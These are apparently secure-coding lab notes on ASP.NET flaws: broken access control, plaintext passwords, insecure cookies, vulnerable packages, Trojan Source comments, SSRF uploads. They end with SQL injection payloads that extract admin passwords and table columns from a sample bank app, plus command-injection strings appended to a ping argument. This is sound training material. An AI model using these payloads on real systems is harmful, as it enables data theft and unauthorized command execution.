Missing Function Access Control
Access to these functionalities should be restricted to authenticated users. However, the current mechanism only checks whether a user exists. Any user, authenticated or not, will be able to access restricted information.
Using built-in .NET framework functionality it is possible to check if a user is properly authenticated.
Plain text storage of passwords
Before storing passwords in the database, they must be hashed using a robust and hacking-resistant algorithm. Encoding is not a hashing algorithm and does not provide any protection. In case of database leak, an adversary can decode it quite easily to obtain users' passwords in cleartext.
It's supposed that the application protects users' credentials from being exposed to a 3rd party because data used to authenticate should not be known to anyone except the user. The application applies the Argon2 hashing algorithm to a password before storing it in the database. This algorithm is robust and resistant to side-channel attacks, so an adversary wouldn't have a chance to get an original password using a brute force method in case of a database leak.
Whether the model contains errors or not, it will not be null. The current check will not prevent errors from being submitted.
The Modelstate consists of name and value pairs which are submitted through a POST request. The IsValid bool returns true if all the values have been connected to the model and no errors have occurred.
What makes this code vulnerable is that it sets the cookie secure option to insecure.
CookieSecureOption Enumeration (Microsoft.Owin.Security.Cookies) | Microsoft Learn
In this secure solution, requireSSL attribute is set to true on the httpCookies element in the web.config file and CookieSecure option is set to Always to ensure the secure flag is set on the .AspNet.Application cookie, which ensures all security features are enabled and configured correctly.
The application uses a vulnerable version of the package whose functions are used to validate user input. An adversary can conduct DoS attacks on the application thereby making it inaccessible. It is required to find a way that would allow keeping functionality while getting rid of the vulnerabil
Security Vulnerability due to System.Text.RegularExpressions · Issue #1786 · dotnet/standard · GitHub
<package id="System.Text.RegularExpressions" version="4.0.0" targetFramework="net472" />
If there are known vulnerabilities in a specific version of an external library, such a library should be updated to a secure version or not used in production. The System.Text.RegularExpressions package version 4.3.1 contains fixes that eliminate the ability to make DoS attacks on the application by abusing Regex with input that causes resource-intensive processing.
Using correct authentication is crucial for system security as the incorrect authorization and authentication routines can provide unintended access to users for resources restricted to them.
When developing an application with differential user permissions, it's supposed that users are authenticated by a strong algorithm that does not allow false-positive errors. The password verification method fixed so it properly invokes the underlying routine and returns correct statuses to the system. It also updates password hash with actual hashing method that is set in the system in case of hash versions mismatch, allowing painless password security updates.
The vulnerability illustrated is called a Trojan Source commenting-out attack, where Unicode override control characters are hidden in comments causing the logic of the code rendered in the IDE, to be different from that of the compiling code.
A computer might render:
/* } if (isAdmin) begin admins only */
return "you are admin";
/* end admins only \ { */
But the file actually contains this:
/*RLO } LRIif (isAdmin)PDI LRI begin admins only */
return "you are admin";
/* end admin only RLO { LRI*/
Notice how the admin check gets completely commented out, the way the compiler/interpreter reads the source. RLO, LRI, PDI, etc. are the control characters which determine the text direction.
The possibility of a Trojan Source vulnerability entering the code base is not unlikely. Such code could be naively copy-pasted from samples on the internet, or it could perhaps be introduced through using open source frameworks or libraries, where malicious code contributions went unnoticed. This, in combination with an IDE or text editor which does not display or mention the presence of override control characters, could lead to your codebase being compromised.
@Scripts.Render("https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.js")
@Scripts.Render("https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/js/bootstrap.js")
Using libraries from third-party sources might cause a security threat. An adversary who gains control over sources can change those libraries, which will lead to malicious code execution in a user's browser.
It's recommended to use JavaScript libraries only from fully controlled servers or external trusted sources which widely used in the community. Using libraries from the same server mitigates the risk as the server administrators have full control over their source. If content delivery performance is important, use Subresource Integrity (SRI) feature with CDNs to validate code integrity before execution.
All login and access control failures must be logged with sufficient context to identify suspicious or malicious behavior and must be held for sufficient time to allow delayed forensic analysis.
sufficient information is logged to properly identify and locate a possible attack. When a bug would occur the logs will provide sufficient information to be resolved with ease.
Exception exc = filterContext.Exception;
var owinContext = Request.GetOwinContext();
string user = owinContext.Authentication.User != null
? owinContext.Authentication.User.Identity.GetUserId()
: "";
var errorModel = new ErrorLogUtility(Request)
.GetErrorModel(exc, user);
Logger.Fatal(string.Format("Controller : {0},"
+ "Action: {1},"
+ "Session : {2},"
+ "RequestData : {3},"
+ "Request Header : {4}",
errorModel.ControllerName,
errorModel.ActionName,
errorModel.Session,
errorModel.RequestData,
errorModel.GetRequestHeader()),
errorModel.Exception);
Server-Side Request Forgery - Server-Side Request Forgery (SSRF)
The application uploads files by user-provided links without any checks, although there is no guarantee that those files do not contain malicious or unacceptable data.
If a user can upload files to the server, there should be a proper check to make sure that each file contains only acceptable data type, and it cannot be used to attack the application. A multitude of checks have been added into the application and each file should go through them before being uploaded. Mime-check is used to block unaccepted type files. Then a file is renamed to avoid filename collisions with the underlying store and saved with an extension associated with detected mime-type. Explicit size check is required for files uploaded via WebClient because it's not governed by the WebServer.
sql injection的例子
invoices?filter=' UNION select * from users --
invoices?filter=%27%20UNION%20select%20%20*%20from%20users%20--
invoices?filter=' UNION Select 1, 1, 1, 1, 1, 1, 1, 1 From Users --
invoices?filter=' UNION Select 1, 1, '2001-01-01', 1, 1, 1, 1, 1 From Users --
invoices?filter=' UNION Select 0, 1, '2001-01-01', 1, 1, password, 1, 1 From Users where username = 'admin@vikingbank.example' --
admin@vikingbank.example.
获取数据表的列名
'uNion SELECT 1, 2, 3, 1, name, '2023-10-19' FROM pragma_table_info('accounts') --
ping -c2 <host> && cat <file>
&& cat /etc/hosts
%20%26%26%20cat%20%2Fetc%2Fhosts
